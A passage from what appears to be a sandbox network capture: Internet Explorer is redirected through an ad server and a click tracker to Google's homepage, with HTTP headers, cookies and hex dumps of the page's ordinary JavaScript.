Wu2Dli66C-XucADfX2tBPlR3prQOfp40mttv00_iCR6q6fLI9QZgGY11WgfO3qdEgV2xwoj0eGTIxBicwTEMicE9X3
AYQsCpAEn3pdnGSoQpHTA7Kz9fo94mKnTULy2teQgTesP9hhxLreOeHrbCzwHSSbH-FJZx15JZAYCxI8gV6bvS4IWl
Dg_vysGgTqrjiFCjhA5kocz54NYxtQVvyXSZspRWMKjI1QYN8ennj2JVFvWfYyzeLbGr1ovqBCtNBvJi2ztcTgBlsW
0SM8XIsRgd4QMcWZcycyUPzb9Wd1bDxFTAWmSXH43ynD5UObBi5FyNDw8qKKmoCnfedHiztWYQxKotKU
GaKd1m_k2iMIc5SBU1Vi7-MGW4_Mi4WYIzJL61eBLaioPhng2BQ6PDt8aAWdDMho29RkRFHVPIQb3W3nWMGo8srLOH
YnfrFRuEDgcm6cqkr2IQD0T7sB-GexA77NdWEi2cdlkkLEB146pQ HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Referer: http://menehleibe.com/
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: mybetterdl.com
Connection: Keep-Alive

2021-09-14 14:03:22 UTC 1 IN HTTP/1.1 302
Server: nginx
Date: Tue, 14 Sep 2021 14:03:22 GMT
Content-Length: 0
Connection: close
Set-Cookie: rhid=79630578833; Max-Age=15552000; Expires=Sun, 13-Mar-2022 14:03:22 GMT; Domain=mybetterdl.com; 
Path=/; SameSite=None; secure;
Location: https://p226681.mybetterdl.com/adServe/domainClick?ai=qR193HoKV_skvRDJ1Xl7Z2EMSqLSlBmindZv
5NojCHOwn03uCMUnWWP1f_rG7YbjKg1peh-_obzBIj3uZHPpnj9EVoFzCvr6nUsZVZhWVPP-29LJmEHdmZ7b6Qy9a1
mHTiLNxNNj-331YCaynPT02WREUdU8hBvdAVtzW-BnG_JiVnQIGgxQDiU7ugF2M-yuSZspRWMKjI0oZaL4_NY6BA8B
78vhYDGtjMUdyxHqWTbxnarhY6PRQCoyupr1mhPBjhdEqJB6Nj2XmDvYXWw9hp-qFZn5gpnPqtE9sbJicJwX2fEbVj
xB9kp2QAzznS8_6fjhgUFt3sQISiZ3D8mF7LCm2HeI0S938_gGwpSXr3tSAMcY_H2x07HFovOGSDpNKiXhLmiyflhH
Q2DhJtv57Pgpt-TBvcxCEwrLEAaOW_go6oM85zEqQcFJgSFbjHo8VjLddbnKrYw&ui=PmRMc57CnhbNSfHhL5kCGmv
i5v6ZZrF7dLiTNq3P25qokS0sVeF3FkXI0PDyooqap4CS6zytrLbvtEDBZZLJWA-odODn3W3LTPqV0hvm1VqP--qZk
GGf_8AXd3hExnhV&si=1&oref=a606ca39dc85b39bdaa2bf88832fa198&optunit=SZspRWMKjI3Y6yHw-JV9WQ&
rb=mhdAWEBiphk&rr=1&abtg=0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.6 49741 173.192.101.24 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

2021-09-14 14:03:23 UTC 2 OUT GET /adServe/domainClick?ai=qR193HoKV_skvRDJ1Xl7Z2EMSqLSlBmindZv5NojCHOwn03uCMUnWWP1f_rG7Y
bjKg1peh-_obzBIj3uZHPpnj9EVoFzCvr6nUsZVZhWVPP-29LJmEHdmZ7b6Qy9a1mHTiLNxNNj-331YCaynPT02WRE
UdU8hBvdAVtzW-BnG_JiVnQIGgxQDiU7ugF2M-yuSZspRWMKjI0oZaL4_NY6BA8B78vhYDGtjMUdyxHqWTbxnarhY6
PRQCoyupr1mhPBjhdEqJB6Nj2XmDvYXWw9hp-qFZn5gpnPqtE9sbJicJwX2fEbVjxB9kp2QAzznS8_6fjhgUFt3sQI
SiZ3D8mF7LCm2HeI0S938_gGwpSXr3tSAMcY_H2x07HFovOGSDpNKiXhLmiyflhHQ2DhJtv57Pgpt-TBvcxCEwrLEA
aOW_go6oM85zEqQcFJgSFbjHo8VjLddbnKrYw&ui=PmRMc57CnhbNSfHhL5kCGmvi5v6ZZrF7dLiTNq3P25qokS0sV
eF3FkXI0PDyooqap4CS6zytrLbvtEDBZZLJWA-odODn3W3LTPqV0hvm1VqP--qZkGGf_8AXd3hExnhV&si=1&oref=
a606ca39dc85b39bdaa2bf88832fa198&optunit=SZspRWMKjI3Y6yHw-JV9WQ&rb=mhdAWEBiphk&rr=1&abtg=0 
HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Referer: http://menehleibe.com/
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Host: p226681.mybetterdl.com
Cookie: rhid=79630578833

2021-09-14 14:03:23 UTC 3 IN HTTP/1.1 302
Server: nginx
Date: Tue, 14 Sep 2021 14:03:23 GMT
Content-Length: 0
Connection: close
Set-Cookie: rhid=79630578833; Max-Age=15552000; Expires=Sun, 13-Mar-2022 14:03:23 GMT; Domain=mybetterdl.com; 
Path=/; SameSite=None; secure;
Set-Cookie: loi=ad_1007735_off_459698_aff_88561_cid_226681-MENEHLEIBE.COM_ts_1631628203; Max-Age=3600; 
Expires=Tue, 14-Sep-2021 15:03:23 GMT; Domain=mybetterdl.com; Path=/; SameSite=None; secure;
Location: https://gertrk.com/click.php?key=qxr7sx5xq96osnrqgm1a&subid=87057224030&bid=0.025&site=413
999995&source=413999995&clickid=87057224030&browser=Internet+Explorer+11&geo=CH&campaign_name=CH&dev
ice=Desktop&os=Windows+10

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.6 49743 168.119.139.96 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe
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Timestamp
kBytes
transferred Direction Data

2021-09-14 14:03:23 UTC 4 OUT GET /click.php?key=qxr7sx5xq96osnrqgm1a&subid=87057224030&bid=0.025&site=413999995&source=413999995&
clickid=87057224030&browser=Internet+Explorer+11&geo=CH&campaign_name=CH&device=Desktop&os=Windows+10 
HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Referer: http://menehleibe.com/
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Host: gertrk.com

2021-09-14 14:03:23 UTC 4 IN HTTP/1.1 302 Found
Server: nginx/1.18.0
Date: Tue, 14 Sep 2021 14:03:23 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Set-Cookie: uclick=16bzxofy; expires=Wed, 15-Sep-2021 14:03:23 GMT; Max-Age=86400; path=/; secure; SameSite=no
ne
Set-Cookie: uclickhash=16bzxofy-16bzxofy-h9-0-ci-wh-4p-268f1c; expires=Wed, 15-Sep-2021 14:03:23 GMT; Max-Age=
86400; path=/; secure; SameSite=none
Location: https://gertrk.com/nlp/index.php?url_bnm_redirect=http://google.com
Strict-Transport-Security: max-age=31536000

2021-09-14 14:03:23 UTC 5 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.6 49744 168.119.139.96 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

2021-09-14 14:03:23 UTC 5 OUT GET /nlp/index.php?url_bnm_redirect=http://google.com HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Referer: http://menehleibe.com/
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Host: gertrk.com
Cookie: uclick=16bzxofy; uclickhash=16bzxofy-16bzxofy-h9-0-ci-wh-4p-268f1c

2021-09-14 14:03:23 UTC 5 IN HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Tue, 14 Sep 2021 14:03:23 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Strict-Transport-Security: max-age=31536000

2021-09-14 14:03:23 UTC 6 IN Data Raw: 33 65 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 
6e 74 3d 22 30 3b 55 52 4c 3d 20 68 74 74 70 3a 2f 2f 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 3e<meta http-equiv="refresh" content="0;URL= http://google.com">0

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.6 49746 168.119.139.96 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

2021-09-14 14:03:24 UTC 6 OUT GET /favicon.ico HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: gertrk.com
Connection: Keep-Alive
Cookie: uclick=16bzxofy; uclickhash=16bzxofy-16bzxofy-h9-0-ci-wh-4p-268f1c

2021-09-14 14:03:24 UTC 6 IN HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Tue, 14 Sep 2021 14:03:24 GMT
Content-Type: image/x-icon
Content-Length: 5638
Last-Modified: Thu, 30 Aug 2018 21:25:42 GMT
Connection: close
ETag: "5b8860d6-1606"
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes
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2021-09-14 14:03:24 UTC 6 IN Data Raw: 00 00 01 00 01 00 27 22 00 00 01 00 20 00 f0 15 00 00 16 00 00 00 28 00 00 00 27 00 00 00 44 00 00 00 01 00 
20 00 00 00 00 00 b8 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 
00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff 
ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff 
ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 3b 4c e6 ff 3b 4c e6 ff 3b 4c e6 ff 3b 4c e6 ff 3b 4c e6 ff 3b 4c 
e6 ff 00 00 00 00 00 00 00 00 19 c3 ef ff 19 
Data Ascii: '" ('D ;L;L;L;L;L;L

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.6 49751 142.250.102.106 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

2021-09-14 14:03:24 UTC 12 OUT GET /?gws_rd=ssl HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Host: www.google.com

2021-09-14 14:03:24 UTC 12 IN HTTP/1.1 200 OK
Date: Tue, 14 Sep 2021 14:03:24 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Server: gws
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
Set-Cookie: CONSENT=PENDING+509; expires=Fri, 01-Jan-2038 00:00:00 GMT; path=/; domain=.google.com; Secure
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2021-09-14 14:03:24 UTC 13 IN Data Raw: 33 34 62 64 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 
3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 
20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 
6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 
3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 
67 6f 6f 67 6c 65 67 2f 31 78 2f 67 6f 6f 67 6c 65 67 5f 73 74 61 6e 64 61 72 64 5f 63 6f 6c 6f 72 5f 31 32 38 64 70 2e 70 6e
67 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 
Data Ascii: 34bd<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head><meta 
http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta content="/images/branding/googleg/1x/goog
leg_standard_color_128dp.png" itemprop="image

2021-09-14 14:03:24 UTC 13 IN Data Raw: 29 29 3b 29 61 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 62 7c 7c 68 7d 66 75 6e 63 74 
69 6f 6e 20 6d 28 61 29 7b 66 6f 72 28 76 61 72 20 62 3d 6e 75 6c 6c 3b 61 26 26 28 21 61 2e 67 65 74 41 74 74 72 69 62 
75 74 65 7c 7c 21 28 62 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6c 65 69 64 22 29 29 29 3b 29 61 3d 61 2e 
70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 62 7d 0a 66 75 6e 63 74 69 6f 6e 20 6e 28 61 2c 62 2c 63 2c 64 2c 
67 29 7b 76 61 72 20 65 3d 22 22 3b 63 7c 7c 2d 31 21 3d 3d 62 2e 73 65 61 72 63 68 28 22 26 65 69 3d 22 29 7c 7c 28 
65 3d 22 26 65 69 3d 22 2b 6c 28 64 29 2c 2d 31 3d 3d 3d 62 2e 73 65 61 72 63 68 28 22 26 6c 65 69 3d 22 29 26 26 28 6
4 3d 6d 28 64 29 29 26 26 28 65 2b 3d 22 26 6c 65 69 3d 22 2b 64 
Data Ascii: ));)a=a.parentNode;return b||h}function m(a){for(var b=null;a&&(!a.getAttribute||!(b=a.getAttribute("leid"))
);)a=a.parentNode;return b}function n(a,b,c,d,g){var e="";c||-1!==b.search("&ei=")||(e="&ei="+l(d),-1===b.search("&lei=")&&
(d=m(d))&&(e+="&lei="+d

2021-09-14 14:03:24 UTC 14 IN Data Raw: 29 7b 76 61 72 20 61 3b 69 66 28 61 3d 62 2e 74 61 72 67 65 74 29 7b 76 61 72 20 63 3d 61 2e 67 65 74 41 
74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 75 62 6d 69 74 66 61 6c 73 65 22 29 3b 61 3d 22 31 22 3d 3d 3d 63 7c 
7c 22 71 22 3d 3d 3d 63 26 26 21 61 2e 65 6c 65 6d 65 6e 74 73 2e 71 2e 76 61 6c 75 65 3f 21 30 3a 21 31 7d 65 6c 73 6
5 20 61 3d 21 31 3b 61 26 26 28 62 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 62 2e 73 74 6f 70 50 72 6f 70 
61 67 61 74 69 6f 6e 28 29 29 7d 2c 21 30 29 3b 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 
2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 
61 72 20 61 3b 61 3a 7b 66 6f 72 28 61 3d 62 2e 74 61 72 67 65 74 3b 
Data Ascii: ){var a;if(a=b.target){var c=a.getAttribute("data-submitfalse");a="1"===c||"q"===c&&!a.elements.q.value?!0:!
1}else a=!1;a&&(b.preventDefault(),b.stopPropagation())},!0);document.documentElement.addEventListener("click"
,function(b){var a;a:{for(a=b.target;

2021-09-14 14:03:24 UTC 16 IN Data Raw: 2b 62 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 61 2c 62 2c 63 2c 64 29 7b 22 61 64 64 45 76 65 6e 74 4c 
69 73 74 65 6e 65 72 22 69 6e 20 61 3f 61 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 62 2c 63 2c 64 
7c 7c 21 31 29 3a 61 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 61 2e 64 65 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 22 
2b 62 2c 63 29 7d 0a 67 6f 6f 67 6c 65 2e 72 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 66 75 6e 63 74 69 
6f 6e 20 64 28 66 29 7b 63 28 66 29 3b 6b 28 61 2c 22 6c 6f 61 64 22 2c 64 29 3b 6b 28 61 2c 22 65 72 72 6f 72 22 2c 64 
29 7d 68 28 61 2c 22 6c 6f 61 64 22 2c 64 29 3b 62 26 26 68 28 61 2c 22 65 72 72 6f 72 22 2c 64 29 7d 3b 65 2e 67 6f 6f 
67 6c 65 2e 61 66 74 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 
Data Ascii: +b,c)}function k(a,b,c,d){"addEventListener"in a?a.removeEventListener(b,c,d||!1):a.attachEvent&&a.detachEve
nt("on"+b,c)}google.rll=function(a,b,c){function d(f){c(f);k(a,"load",d);k(a,"error",d)}h(a,"load",d);b&&h(a,"error",d)};e.google.
aft=function(a){
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2021-09-14 14:03:24 UTC 17 IN Data Raw: 65 6e 22 3d 3d 3d 63 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 29 62 72 65 61 6b 20 61 3b 63 3d 6e 75 6c 
6c 7d 69 66 28 21 63 29 72 65 74 75 72 6e 21 31 3b 61 3d 62 28 61 29 3b 62 3d 62 28 63 29 3b 72 65 74 75 72 6e 20 61 
2e 62 6f 74 74 6f 6d 3c 62 2e 74 6f 70 7c 7c 61 2e 74 6f 70 3e 3d 62 2e 62 6f 74 74 6f 6d 7c 7c 61 2e 72 69 67 68 74 3c 
62 2e 6c 65 66 74 7c 7c 61 2e 6c 65 66 74 3e 3d 62 2e 72 69 67 68 74 7d 0a 66 75 6e 63 74 69 6f 6e 20 72 28 61 29 7b 
72 65 74 75 72 6e 22 6e 6f 6e 65 22 3d 3d 3d 61 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3f 21 30 3a 64 6f 63 75 6d 65 
6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 26 26 64 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 2e 67 65 7
4 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 3f 28 61 3d 64 6f 63 75 
Data Ascii: en"===c.style.overflow)break a;c=null}if(!c)return!1;a=b(a);b=b(c);return a.bottom<b.top||a.top>=b.bottom||a
.right<b.left||a.left>=b.right}function r(a){return"none"===a.style.display?!0:document.defaultView&&document.defaultVie
w.getComputedStyle?(a=docu

2021-09-14 14:03:24 UTC 18 IN Data Raw: 3d 3d 7a 3a 45 3d 3d 3d 46 3b 21 4b 26 26 61 26 26 67 6f 6f 67 6c 65 2e 63 2e 75 28 22 69 6c 22 29 7d 0a 66 
75 6e 63 74 69 6f 6e 20 4f 28 29 7b 69 66 28 21 4a 29 7b 76 61 72 20 61 3d 46 3d 3d 3d 45 2c 62 3d 44 3d 3d 3d 43 2c 63 
3d 49 3d 3d 3d 48 3b 63 3d 67 6f 6f 67 6c 65 2e 63 2e 6e 6c 69 3f 63 3a 61 3b 69 66 28 61 26 26 62 29 7b 67 6f 6f 67 6c 
65 2e 63 2e 65 28 22 6c 6f 61 64 22 2c 22 69 6d 61 22 2c 53 74 72 69 6e 67 28 45 29 29 3b 67 6f 6f 67 6c 65 2e 63 2e 65 
28 22 6c 6f 61 64 22 2c 22 69 6d 61 64 22 2c 53 74 72 69 6e 67 28 47 29 29 3b 67 6f 6f 67 6c 65 2e 63 2e 65 28 22 6c 6f 
61 64 22 2c 22 61 66 74 70 22 2c 53 74 72 69 6e 67 28 4d 61 74 68 2e 72 6f 75 6e 64 28 4c 29 29 29 3b 76 61 72 20 64 
3d 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 2e 6c 6f 61 64 3b 
Data Ascii: ==z:E===F;!K&&a&&google.c.u("il")}function O(){if(!J){var a=F===E,b=D===C,c=I===H;c=google.c.nli?c
:a;if(a&&b){google.c.e("load","ima",String(E));google.c.e("load","imad",String(G));google.c.e("load","aftp",String(Math.
round(L)));var d=google.timers.load;

2021-09-14 14:03:24 UTC 20 IN Data Raw: 72 69 62 75 74 65 28 22 64 61 74 61 2d 66 72 74 22 2c 22 31 22 29 2c 2b 2b 43 29 7d 0a 66 75 6e 63 74 69 6f 
6e 20 55 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 3b 69 66 28 67 6f 6f 67 6c 65 2e 63 
2e 67 69 70 26 26 62 26 26 22 47 2d 49 4d 47 22 3d 3d 3d 62 2e 74 61 67 4e 61 6d 65 26 26 28 62 2e 73 74 79 6c 65 2e 
68 65 69 67 68 74 7c 7c 62 2e 73 74 79 6c 65 2e 77 69 64 74 68 29 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 42 6f 75 6e 
64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 2c 64 3d 61 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 6
5 63 74 28 29 3b 69 66 28 63 2e 68 65 69 67 68 74 3c 3d 64 2e 68 65 69 67 68 74 7c 7c 63 2e 77 69 64 74 68 3c 3d 64 2e 
77 69 64 74 68 29 72 65 74 75 72 6e 20 62 7d 72 65 74 75 72 6e 20 
Data Ascii: ribute("data-frt","1"),++C)}function U(a){var b=a.parentElement;if(google.c.gip&&b&&"G-IMG"===b.tagName&&
(b.style.height||b.style.width)){var c=b.getBoundingClientRect(),d=a.getBoundingClientRect();if(c.height<=d.height||c.width
<=d.width)return b}return 

2021-09-14 14:03:24 UTC 21 IN Data Raw: 6f 67 6c 65 2e 63 2e 75 62 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 7d 3b 7d 29 2e 63 61 6c 6c 28 74 68 
69 73 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 76 61 72 20 62 3d 5b 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 
65 2e 74 69 63 6b 26 26 67 6f 6f 67 6c 65 2e 74 69 63 6b 28 22 6c 6f 61 64 22 2c 22 64 63 6c 22 29 7d 5d 3b 67 6f 6f 67 
6c 65 2e 64 63 6c 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 62 2e 6c 65 6e 67 74 68 3f 62 2e 70 75 73 68 28 61 29 3a 61 
28 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 66 6f 72 28 76 61 72 20 61 3d 62 2e 73 68 69 66 74 28 29 3b 61 3b 
29 61 28 29 2c 61 3d 62 2e 73 68 69 66 74 28 29 7d 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 
72 3f 28 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 
Data Ascii: ogle.c.ubr=function(){})};}).call(this);(function(){var b=[function(){google.tick&&google.tick("load","dcl")}];google.
dclc=function(a){b.length?b.push(a):a()};function c(){for(var a=b.shift();a;)a(),a=b.shift()}window.addEventListener?(do
cument.addEventL

2021-09-14 14:03:24 UTC 22 IN Data Raw: 2c 4b 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 64 3d 4a 3b 64 2e 67 3d 61 3b 64 2e 68 3d 62 
3b 72 65 74 75 72 6e 20 64 7d 3b 49 2e 70 72 6f 74 6f 74 79 70 65 2e 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 
61 3d 74 68 69 73 2e 67 3b 74 68 69 73 2e 67 26 26 74 68 69 73 2e 67 21 3d 74 68 69 73 2e 68 3f 74 68 69 73 2e 67 3d 
74 68 69 73 2e 67 2e 5f 5f 6f 77 6e 65 72 7c 7c 74 68 69 73 2e 67 2e 70 61 72 65 6e 74 4e 6f 64 65 3a 74 68 69 73 2e 67 
3d 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 61 7d 3b 76 61 72 20 4c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6a 
3d 5b 5d 3b 74 68 69 73 2e 67 3d 30 3b 74 68 69 73 2e 68 3d 6e 75 6c 6c 3b 74 68 69 73 2e 6c 3d 21 31 7d 3b 4c 2e 70 7
2 6f 74 6f 74 79 70 65 2e 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 
Data Ascii: ,K=function(a,b){var d=J;d.g=a;d.h=b;return d};I.prototype.i=function(){var a=this.g;this.g&&this.g!=this.h?
this.g=this.g.__owner||this.g.parentNode:this.g=null;return a};var L=function(){this.j=[];this.g=0;this.h=null;this.l=!1};L.protot
ype.i=function(){

2021-09-14 14:03:24 UTC 23 IN Data Raw: 66 28 21 6e 29 7b 6e 3d 7b 7d 3b 66 6f 72 28 76 61 72 20 42 3d 7a 2e 73 70 6c 69 74 28 62 61 29 2c 64 61 3d 
42 3f 42 2e 6c 65 6e 67 74 68 3a 30 2c 43 3d 30 3b 43 3c 64 61 3b 43 2b 2b 29 7b 76 61 72 20 77 3d 42 5b 43 5d 3b 69 
66 28 77 29 7b 76 61 72 20 44 3d 77 2e 69 6e 64 65 78 4f 66 28 22 3a 22 29 2c 50 3d 2d 31 21 3d 44 2c 65 61 3d 50 3f 
52 28 77 2e 73 75 62 73 74 72 28 30 2c 44 29 29 3a 22 63 6c 69 63 6b 22 3b 77 3d 50 3f 52 28 77 2e 73 75 62 73 74 72 2
8 44 2b 31 29 29 3a 77 3b 6e 5b 65 61 5d 3d 77 7d 7d 67 5b 7a 5d 3d 6e 7d 72 2e 5f 5f 6a 73 61 63 74 69 6f 6e 3d 6e 7d 
65 6c 73 65 20 6e 3d 66 61 2c 72 2e 5f 5f 6a 73 61 63 74 69 6f 6e 3d 6e 7d 22 6d 61 79 62 65 5f 63 6c 69 63 6b 22 3d 3d 
71 26 26 6e 2e 63 6c 69 63 6b 3f 28 70 3d 71 2c 71 3d 22 63 6c 69 
Data Ascii: f(!n){n={};for(var B=z.split(ba),da=B?B.length:0,C=0;C<da;C++){var w=B[C];if(w){var D=w.indexOf(":"),P=-1!=D
,ea=P?R(w.substr(0,D)):"click";w=P?R(w.substr(D+1)):w;n[ea]=w}}g[z]=n}r.__jsaction=n}else n=fa,r.__jsaction=n}
"maybe_click"==q&&n.click?(p=q,q="cli

2021-09-14 14:03:24 UTC 25 IN Data Raw: 79 70 65 26 26 22 63 6c 69 63 6b 6d 6f 64 22 21 3d 68 2e 65 76 65 6e 74 54 79 70 65 7c 7c 28 63 2e 70 72 65 
76 65 6e 74 44 65 66 61 75 6c 74 3f 63 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3a 63 2e 72 65 74 75 72 6e 
56 61 6c 75 65 3d 21 31 29 2c 28 63 3d 61 2e 69 28 68 29 29 26 26 66 29 7b 6c 2e 63 61 6c 6c 28 74 68 69 73 2c 63 2c 
21 31 29 3b 72 65 74 75 72 6e 7d 7d 65 6c 73 65 7b 69 66 28 28 66 3d 65 2e 64 6f 63 75 6d 65 6e 74 29 26 26 21 66 2e 6
3 72 65 61 74 65 45 76 65 6e 74 26 26 66 2e 63 72 65 61 74 65 45 76 65 6e 74 4f 62 6a 65 63 74 29 74 72 79 7b 76 61 72 
20 45 3d 66 2e 63 72 65 61 74 65 45 76 65 6e 74 4f 62 6a 65 63 74 28 63 29 7d 63 61 74 63 68 28 6a 61 29 7b 45 3d 63 
7d 65 6c 73 65 20 45 3d 63 3b 68 2e 65 76 65 6e 74 3d 45 3b 61 2e 6a 
Data Ascii: ype&&"clickmod"!=h.eventType||(c.preventDefault?c.preventDefault():c.returnValue=!1),(c=a.i(h))&&f){l.call(t
his,c,!1);return}}else{if((f=e.document)&&!f.createEvent&&f.createEventObject)try{var E=f.createEventObject(c)}catch(ja)
{E=c}else E=c;h.event=E;a.j

2021-09-14 14:03:24 UTC 26 IN Data Raw: 31 30 34 0d 0a 56 28 61 29 3b 72 65 74 75 72 6e 20 64 7d 2c 56 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 
72 28 76 61 72 20 62 3d 61 2e 68 2e 63 6f 6e 63 61 74 28 61 2e 67 29 2c 64 3d 5b 5d 2c 63 3d 5b 5d 2c 66 3d 30 3b 66 
